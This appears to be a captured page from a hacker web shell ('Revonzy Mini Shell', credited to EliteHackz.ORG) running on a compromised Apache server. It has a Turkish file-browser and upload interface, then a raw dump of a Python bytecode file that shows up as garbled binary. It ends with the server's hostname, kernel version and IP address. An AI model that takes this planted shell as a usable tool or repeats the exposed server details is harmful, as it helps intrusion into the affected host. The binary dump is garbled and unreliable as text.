Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /usr/lib64/python3.9/email/__pycache__/
Dosya Yükle :
Şuanki Dosya : //usr/lib64/python3.9/email/__pycache__/header.cpython-39.opt-2.pyc

a

�DOg&^�@s�gd�ZddlZddlZddlZddlZddlmZddlmZ	e	j
Z
dZdZdZ
dZd	Zd
ZdZe
d�Ze
d
�Ze�dejejB�Ze�d�Ze�d�ZejjZdd�Zddd�ZGdd�d�ZGdd�d�ZGdd�de �Z!dS))�Header�
decode_header�make_header�N)�HeaderParseError)�charset�
� � z        ��Nz 	�us-asciizutf-8ai
  =\?                   # literal =?
  (?P<charset>[^?]*?)   # non-greedy up to the next ? is the charset
  \?                    # literal ?
  (?P<encoding>[qQbB])  # either a "q" or a "b", case insensitive
  \?                    # literal ?
  (?P<encoded>.*?)      # non-greedy up to the next ?= is the encoded string
  \?=                   # literal ?=
  z[\041-\176]+:$z
\n[^ \t]+:c	Cs�t|d�rdd�|jD�St�|�s.|dfgSg}|��D]�}t�|�}d}|r:|�d�}|rj|��}d}|r~|�|ddf�|rL|�d��	�}|�d��	�}|�d�}|�|||f�qLq:g}	t
|�D]J\}
}|
dkr�|dr�||
ddr�||
dd��r�|	�|
d�q�t|	�D]}||=�qg}
|D]�\}}}|du�rV|
�||f�n�|d	k�r|t
j�|�}|
�||f�n||d
k�r�t|�d}|�r�|ddd|�7}zt
j�|�}Wntj�y�td
��Yn0|
�||f�ntd|���q2g}d}}|
D]v\}}t|t��r*t|d�}|du�r>|}|}nB||k�r`|�||f�|}|}n |du�rx|t|7}n||7}�q|�||f�|S)N�_chunkscSs(g|] \}}t�|t|��t|�f�qS�)�_charsetZ_encode�str)�.0�stringrrr�$/usr/lib64/python3.9/email/header.py�
<listcomp>Ms�z!decode_header.<locals>.<listcomp>TrF���q�b�z===zBase64 decoding errorzUnexpected encoding: zraw-unicode-escape)�hasattrr
�ecre�search�
splitlines�split�pop�lstrip�append�lower�	enumerate�isspace�reversed�email�
quoprimimeZ
header_decode�lenZ
base64mime�decode�binascii�Errorr�AssertionError�
isinstancer�bytes�BSPACE)�header�words�line�parts�firstZ	unencodedr�encoding�encodedZdroplist�n�w�dZ
decoded_wordsZencoded_stringZwordZpaderrZ	collapsedZ	last_word�last_charsetrrrr=s|
�




4







rcCsFt|||d�}|D].\}}|dur4t|t�s4t|�}|�||�q|S)N)�
maxlinelen�header_name�continuation_ws)rr-�Charsetr!)Zdecoded_seqr;r<r=�h�srrrrr�s�rc@sJeZdZddd�Zdd�Zdd	�Zdd
d�Zdd
�Zddd�Zdd�Z	dS)rNr�strictcCs||durt}nt|t�s t|�}||_||_g|_|durH|�|||�|durTt}||_|durjd|_	nt
|�d|_	dS)Nrr)�USASCIIr-r>r�_continuation_wsr
r!�
MAXLINELEN�_maxlinelen�
_headerlenr()�selfr@rr;r<r=�errorsrrr�__init__�s
zHeader.__init__c	Cs�|��g}d}d}|jD]�\}}|}|tjkrH|�dd�}|�dd�}|r�|o\|�|d�}|dvr�|dvr�|s�|�t�d}n|dvr�|s�|�t�|o�|�|d�}|}|�|�qt	�
|�S)N�ascii�surrogateescape�replacer�Nr���)�
_normalizer
r�UNKNOWN8BIT�encoder)�	_nonctextr!�SPACE�EMPTYSTRING�join)	rGZuchunks�lastcs�	lastspacerrZnextcsZoriginal_bytes�hasspacerrr�__str__�s*


zHeader.__str__cCs|t|�kS�N)r)rG�otherrrr�__eq__sz
Header.__eq__cCs�|dur|j}nt|t�s"t|�}t|t�sZ|jp4d}|tjkrN|�dd�}n|�||�}|jpbd}|tjkr�z|�||�Wn t	y�|dkr��t
}Yn0|j�||f�dS)NrrK)
rr-r>rZinput_codecrPr)Zoutput_codecrQ�UnicodeEncodeError�UTF8r
r!)rGr@rrHZ
input_charset�output_charsetrrrr!	s$






z
Header.appendcCs|��p|dvS)N)�(�)�\)r$)rGr@rrrrR4szHeader._nonctext�;, 	rcCs�|��|dur|j}|dkr"d}t|j||j|�}d}d}}|jD�]\}}	|dur�|oh|�|d�}|dvr�|r~|	dvr�|��n|	dvr�|s�|��|o�|�|d�}|	}d}|��}
|
r�|�	d|
d|	�n|�	dd|	�|
dd�D]`}|�
�|	jdu�r"|�	|jd|��|	�q�|��}|dt
|�t
|��}
|�	|
||	�q�t
|
�dkrF|�
�qF|j�rx|��|�|�}t�|��r�td	�|���|S)
Nri@BrMrNFr
rrz8header value appears to contain an embedded header: {!r})rOrE�_ValueFormatterrFrCr
rR�add_transitionr�feed�newline�header_encodingr r(�_str�_embedded_headerrr�format)rG�
splitcharsr;�linesep�	formatterrVrXrWrr�linesr2Zsline�fws�valuerrrrQ9sX!�
�

�z
Header.encodecCsxg}d}g}|jD]B\}}||kr.|�|�q|durJ|�t�|�|f�|g}|}q|rn|�t�|�|f�||_dSrZ)r
r!rSrU)rG�chunksr:Z
last_chunkrrrrrrO�szHeader._normalize)NNNNrrA)NrA)rcNr)
�__name__�
__module__�__qualname__rIrYr\r!rRrQrOrrrrr�s�
/ 
+
Prc@sTeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�ZdS)rdcCs0||_||_t|�|_||_g|_t|�|_dSrZ)�_maxlenrCr(�_continuation_ws_len�_splitchars�_lines�_Accumulator�
_current_line)rGZ	headerlen�maxlenr=rlrrrrI�s
z_ValueFormatter.__init__cCs|��|�|j�SrZ)rgrUry)rGrmrrrri�sz_ValueFormatter._strcCs
|�t�SrZ)ri�NL�rGrrrrY�sz_ValueFormatter.__str__cCsv|j��}|dkr|jj|�t|j�dkrh|j��rV|jrV|jdt|j�7<n|j�t|j��|j��dS)N)rr
rrN)	r{r�pushr(�	is_onlywsryrr!�reset)rGZend_of_linerrrrg�s
z_ValueFormatter.newlinecCs|j�dd�dS)Nrr
)r{rr~rrrre�sz_ValueFormatter.add_transitioncCs�|jdur|�|||j�dS|�||���}z|�d�}WntyPYdS0|durf|�||�z|��}Wnty�YdS0|��|j	�
|j|�|D]}|j�
|j|�q�dS�Nr)rh�_ascii_splitrxZheader_encode_lines�_maxlengthsr�
IndexError�
_append_chunkrgr{rrCryr!)rGrprrZ
encoded_linesZ
first_line�	last_liner2rrrrf�s$
z_ValueFormatter.feedccs&|jt|j�V|j|jVqdSrZ)rvr(r{rwr~rrrr��sz_ValueFormatter._maxlengthscCsft�dtd||�}|dr0dg|dd�<n
|�d�tt|�gd�D]\}}|�||�qLdS)Nz([z]+)rr
r)�rer�FWSr�zip�iterr�)rGrprrlr3�partrrrr��s
z_ValueFormatter._ascii_splitcCs|j�||�t|j�|jk�r|jD]v}t|j��ddd�D]T}|��rn|j|d}|rn|d|krnq�|j|dd}|r@|d|kr@q�q@q&q�q&|j��\}}|jj	dkr�|�
�|s�d}|j�||�dS|j�|�}|j�
t|j��|j�|�dS)NrrrNr)r{rr(rvrx�range�
part_countr$r�
_initial_sizerg�pop_fromryr!rr�)rGrprZch�iZprevpartr��	remainderrrrr��s.
z_ValueFormatter._append_chunkN)rsrtrurIrirYrgrerfr�r�r�rrrrrd�s%rdcsjeZdZd�fdd�	Zdd�Zddd�Z�fdd	�Zd
d�Zdd
�Zddd�Z	dd�Z
�fdd�Z�ZS)rzrcs||_t���dSrZ)r��superrI)rGZinitial_size��	__class__rrrIsz_Accumulator.__init__cCs|�||f�dSrZ)r!)rGrprrrrr#sz_Accumulator.pushcCs||d�}g||d�<|SrZr)rGr�Zpoppedrrrr�&sz_Accumulator.pop_fromcs|��dkrdSt���S)Nr)r
r
)r�r�rr~r�rrr+sz_Accumulator.popcCstdd�|D�|j�S)Ncss"|]\}}t|�t|�VqdSrZ)r(�rrpr�rrr�	<genexpr>1�z'_Accumulator.__len__.<locals>.<genexpr>)�sumr�r~rrr�__len__0s�z_Accumulator.__len__cCst�dd�|D��S)Ncss |]\}}t�||f�VqdSrZ�rTrUr�rrrr�5s�z'_Accumulator.__str__.<locals>.<genexpr>r�r~rrrrY4s
�z_Accumulator.__str__NcCs"|durg}||dd�<d|_dSr�)r�)rGZstartvalrrrr�8sz_Accumulator.resetcCs|jdko|pt|���Sr�)r�rr$r~rrrr�>sz_Accumulator.is_onlywscs
t���SrZ)r�r�r~r�rrr�Asz_Accumulator.part_count)r)r)N)
rsrtrurIrr�rr�rYr�r�r��
__classcell__rrr�rrzs

rz)NNr)"�__all__r�r*Zemail.quoprimimer&Zemail.base64mimeZemail.errorsrrrr>r}rSr/ZSPACE8rTrDr�rBr^�compile�VERBOSE�	MULTILINErZfcrerjr'Z_max_appendrrrrd�listrzrrrr�<module>s>
�

_�
k

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4